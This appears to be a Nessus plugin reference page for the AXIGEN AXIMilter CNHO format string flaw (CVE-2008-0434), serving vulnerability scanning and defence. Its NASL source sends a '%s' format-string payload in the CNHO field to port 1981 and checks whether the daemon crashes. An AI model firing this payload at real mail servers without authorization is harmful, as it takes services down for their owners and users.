AXIGEN Mail Server AXIMilter CNHO Command Remote Format String - Nessus

Medium Plugin ID: 30106

This page contains detailed information about the AXIGEN Mail Server AXIMilter CNHO Command Remote Format String Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 30106
Name: AXIGEN Mail Server AXIMilter CNHO Command Remote Format String
Filename: aximilter_format_string.nasl
Vulnerability Published: N/A
This Plugin Published: 2008-01-28
Last Modification Time: 2018-11-15
Plugin Version: 1.16
Plugin Type: remote
Plugin Family: Gain a shell remotely
Dependencies: aximilter_detect.nasl

Vulnerability Information

Severity: Medium
Vulnerability Published: N/A
Patch Published: N/A
CVE [?]: CVE-2008-0434
CPE [?]: N/A

Synopsis

The remote mail service is affected by a format string vulnerability.

Description

The version of AXIMilter installed on the remote host fails to sanitize input of format string identifiers. Using a specially- crafted packet, an unauthenticated, remote attacker can crash the service or possibly execute arbitrary code on the remote host subject to the privileges under which the service operates.

Solution

Either configure AXIMilter to listen only on the loopback interface, which is its default behavior, or allow access only from trusted hosts.

Public Exploits

Target Network Port(s): 1981
Target Asset(s): Services/aximilter
Exploit Available: True (Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the AXIGEN Mail Server AXIMilter CNHO Command Remote Format String vulnerability:

Exploit-DB: exploits/linux/remote/4947.c
[EDB-4947: Axigen 5.0.2 - AXIMilter Remote Format String]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:H/Au:N/C:P/I:P/A:P/E:POC/RL:OF/RC:C

CVSS Base Score:	5.1 (Medium)
Impact Subscore:	6.4
Exploitability Subscore:	4.9
CVSS Temporal Score:	4.0 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	4.0 (Medium)

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Plugin Source

#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(30106);
  script_version("1.16");

  script_cve_id("CVE-2008-0434");
  script_bugtraq_id(27363);
  script_xref(name:"EDB-ID", value:"4947");

  script_name(english:"AXIGEN Mail Server AXIMilter CNHO Command Remote Format String");
  script_summary(english:"Tries to crash AXIMilter");

 script_set_attribute(attribute:"synopsis", value:
"The remote mail service is affected by a format string vulnerability." );
 script_set_attribute(attribute:"description", value:
"The version of AXIMilter installed on the remote host fails to
sanitize input of format string identifiers.  Using a specially-
crafted packet, an unauthenticated, remote attacker can crash the
service or possibly execute arbitrary code on the remote host subject
to the privileges under which the service operates." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2008/Jan/403" );
 script_set_attribute(attribute:"solution", value:
"Either configure AXIMilter to listen only on the loopback interface,
which is its default behavior, or allow access only from trusted
hosts." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
 script_cwe_id(189);
 script_set_attribute(attribute:"plugin_publication_date", value: "2008/01/28");
 script_cvs_date("Date: 2018/11/15 20:50:22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();


  script_category(ACT_DENIAL);
  script_family(english:"Gain a shell remotely");
  script_copyright(english:"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.");
  script_dependencies("aximilter_detect.nasl");
  script_require_ports("Services/aximilter", 1981);

  exit(0);
}


port = get_kb_item("Services/aximilter");
if (!port) port = 1981;
if (!get_port_state(port)) exit(0);


crlf = '\r\n';
exploit = "%s%s%s%s%s%s%s%s%s";


# Make sure it's working.
soc = open_sock_tcp(port);
if (!soc) exit(0);

req = "PING" + crlf;
send(socket:soc, data:req);
res = recv_line(socket:soc, length:256);
close(soc);
if (strlen(res) == 0) exit(0);

res = chomp(res);
if ('PONG' == toupper(res))
{
  # Try to exploit the issue to crash the daemon.
  soc = open_sock_tcp(port);
  if (!soc) exit(0);

  req = string(
    "FROM: ", crlf,
    "EHLO: ", crlf,
    "CNIP: ", crlf,
    "CNPO: ", crlf,
    "CNHO: ", exploit, crlf,
    "RCPT: ", crlf,
    "VERI: ", crlf
  );
  send(socket:soc, data:req);
  res = recv_line(socket:soc, length:256);
  close(soc);

  # Try several times to re-connect.
  if (strlen(res) == 0)
  {
    tries = 5;
    for (iter=0; iter<tries; iter++)
    {
      # Check whether it's truly down.
      soc = open_sock_tcp(port);
      if (soc)
      {
        s = recv_line(socket:soc);
        close(soc);
        sleep(1);
      }
      else
      {
        security_warning(port); 
        exit(0);
      }
    }
  }
}

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/aximilter_format_string.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\aximilter_format_string.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/aximilter_format_string.nasl

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How to Run

Here is how to run the AXIGEN Mail Server AXIMilter CNHO Command Remote Format String as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select Gain a shell remotely plugin family.
On the right side table select AXIGEN Mail Server AXIMilter CNHO Command Remote Format String plugin ID 30106.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl aximilter_format_string.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a aximilter_format_string.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - aximilter_format_string.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state aximilter_format_string.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

27363

CWE | Common Weakness Enumeration:

CWE-189 (Category) Numeric Errors

See also:

Similar and related Nessus plugins:

24321 - AXIGEN Mail Server < 2.0.0 Multiple Remote Vulnerabilities
16265 - Berlios gpsd gpsd_report() Function Format String
10522 - LPRng use_syslog() Remote Format String Arbitrary Command Execution
31642 - VLC Media Player network/httpd.c httpd_FileCallBack Function Connection Parameter Format String
12086 - DreamFTP Server username Remote Format String
18974 - FreeBSD : gld -- format string and buffer overflow vulnerabilities (6c2d4f29-af3e-11d9-837d-000e0c2e438a)
57739 - FreeBSD : sudo -- format string vulnerability (7c920bb7-4b5f-11e1-9f47-00e0815b8da8)
21504 - FreeBSD : perl, webmin, usermin -- perl format string integer wrap vulnerability (bb33981a-7ac6-11da-bf72-00123f589060)
22213 - FreeBSD : mysql -- format string vulnerability (fcb90eb0-2ace-11db-a6e2-000e0c2e438a)
18530 - GLSA-200506-15 : PeerCast: Format string vulnerability
20281 - GLSA-200512-02 : Webmin, Usermin: Format string vulnerability
31732 - McAfee Common Management Agent < 3.6.0.595 UDP Packet Handling Format String
17839 - OpenSSH < 2.1.1p3 Format String Privilege Escalation
18417 - PeerCast URL Error Message Format String
16064 - SHOUTcast Server Filename Handling Format String
63075 - VMware OVF Tool 2.1 File Handling Format String Vulnerability (VMSA-2012-0015)
20343 - Webmin 'miniserv.pl' 'username' Parameter Format String
10452 - WU-FTPD site_exec() Function Remote Format String

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file aximilter_format_string.nasl version 1.16. For more plugins, visit the Nessus Plugin Library.

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AXIGEN Mail Server AXIMilter CNHO Command Remote Format String - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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